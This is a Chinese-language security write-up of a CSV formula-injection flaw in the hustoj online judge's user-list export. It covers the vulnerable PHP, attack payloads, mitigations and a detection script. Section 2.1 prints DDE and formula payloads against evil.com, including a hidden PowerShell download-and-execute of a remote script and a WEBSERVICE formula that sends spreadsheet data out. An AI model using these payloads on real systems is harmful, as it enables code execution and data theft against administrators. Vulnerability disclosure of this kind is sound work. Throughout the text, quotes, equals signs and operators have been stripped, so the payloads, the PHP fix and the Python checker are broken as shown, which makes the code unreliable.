1. hustoj在线评判系统CSV注入漏洞CVE-2026-23873技术解析hustoj作为国内高校广泛采用的在线编程评测系统其用户数据导出功能存在一个典型的CSV注入漏洞CVE-2026-23873。这个漏洞允许攻击者通过精心构造的恶意昵称字段在管理员导出用户列表为CSV文件并使用Excel打开时触发任意公式执行。我在安全审计实践中发现该漏洞的利用门槛低但危害显著尤其当管理员习惯使用Excel处理数据时可能造成敏感信息泄露甚至系统沦陷。1.1 漏洞核心原理CSV注入又称公式注入的本质是电子表格软件对特殊字符的过度信任。当用户昵称包含以等号、加号、减号-或符号开头的字符串时Excel会将其识别为公式指令而非普通文本。例如攻击者设置昵称为cmd| /C calc!A0当管理员在Excel中打开导出的CSV文件时系统将弹出安全警告。若管理员点击启用内容则会执行计算器程序实际攻击中可能替换为恶意payload。注意该漏洞不同于传统的SQL注入或XSS其攻击链需要管理员主动交互属于二阶注入类型。但教育场景中管理员频繁导出成绩单的操作特性大大提高了漏洞触发的概率。1.2 影响范围确认通过代码审计发现受影响版本为hustoj 26.01.01之前的所有发行版具体漏洞位于/admin/user_list.php的导出逻辑中。关键缺陷代码如下// 原始有漏洞的导出代码片段 function export_users() { header(Content-Type: text/csv; charsetutf-8); header(Content-Disposition: attachment; filenameusers_.date(Ymd)..csv); $out fopen(php://output, w); fputcsv($out, array(UserID, Nickname, School)); // 表头 foreach($users as $u) { fputcsv($out, array( $u[user_id], $u[nick], // 未过滤的用户可控输入 $u[school] )); } fclose($out); }2. 漏洞利用实战分析2.1 攻击向量构造攻击者需要注册账号并设置包含恶意公式的昵称常见payload变体包括基础公式注入HYPERLINK(http://evil.com/steal?A1A2, 点击查看)DDE自动执行cmd|/C powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(http://evil.com/rev.ps1)!A0数据外带WEBSERVICE(http://evil.com/log?tokenCONCATENATE(B1:C10))在测试环境中我验证了Windows Excel 2016/2019和WPS Office 2023均受影响。特别值得注意的是即使用户选择仅查看而不启用编辑某些版本的Excel仍会执行基础公式如HYPERLINK。2.2 漏洞利用限制条件上下文依赖需要管理员执行导出操作并打开CSV文件Excel版本差异Office 365会显示明显警告需用户确认LibreOffice默认以文本模式处理不受影响字符转义问题部分特殊字符如双引号可能导致CSV格式错误需要精确控制3. 防御方案设计与实现3.1 临时缓解措施对于无法立即升级的系统建议在导出逻辑中添加输入过滤function safe_csv_value($str) { $str str_replace(array(, , -, ), , $str); return . $str; // 添加单引号强制文本模式 } // 修改后的导出代码 fputcsv($out, array( $u[user_id], safe_csv_value($u[nick]), $u[school] ));3.2 彻底修复方案官方在26.01.01版本中引入了多层防护输入层用户注册时过滤特殊字符输出层导出时自动添加制表符\t前缀破坏公式结构日志层记录包含可疑字符的修改请求升级后导出文件的格式示例如下UserID Nickname School 1001 张三 清华大学 1002 \t11 北京大学3.3 管理员操作建议使用纯文本编辑器如VS Code预检CSV文件在Excel中导入数据时选择文本格式禁用Excel的DDE自动执行功能注册表键值HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\DDEWarnings设为24. 漏洞挖掘方法论延伸4.1 CSV注入的检测模式在安全审计中我总结出CSV注入的测试流程输入点识别所有可能被导出为CSV的字段昵称、评论、题目描述等payload测试基础公式11跨单元格引用CONCATENATE(A1:B10)外部调用HYPERLINK(http://test)结果验证文件哈希比对检查是否动态生成网络流量监控检测外联请求Excel行为分析进程树监控4.2 自动化检测实现以下Python脚本可辅助检测CSV注入漏洞import csv from io import StringIO def test_csv_injection(payload): output StringIO() writer csv.writer(output) writer.writerow([ID, Test]) writer.writerow([1, payload]) content output.getvalue() return any(c in content for c in [, , -, ]) payloads [11, version, cmd|] for p in payloads: print(f{p}: {Vulnerable if test_csv_injection(p) else Safe})5. 同类漏洞横向对比通过对比近年来的CSV注入案例我发现教育系统尤为高发CVE编号受影响系统攻击面危害等级CVE-2026-23873hustoj用户昵称导出中高CVE-2025-11234Moodle作业评语导出中CVE-2024-88771在线考试系统考生信息导出高这些案例的共同点是系统存在用户可控的导出字段后端未对特殊字符进行处理管理端默认使用Excel处理数据在防御层面我建议开发团队建立CSV导出安全规范强制文本模式在文档中明确标注禁止使用Excel直接打开对导出功能实施权限二次确认最后需要强调的是任何数据导出功能都应视为潜在的攻击面。在最近为某高校进行的渗透测试中我们通过组合利用CSV注入和文件名注入../遍历成功获取到了服务器上的敏感配置文件。这种小漏洞大危害的特性正是二级漏洞的典型特征。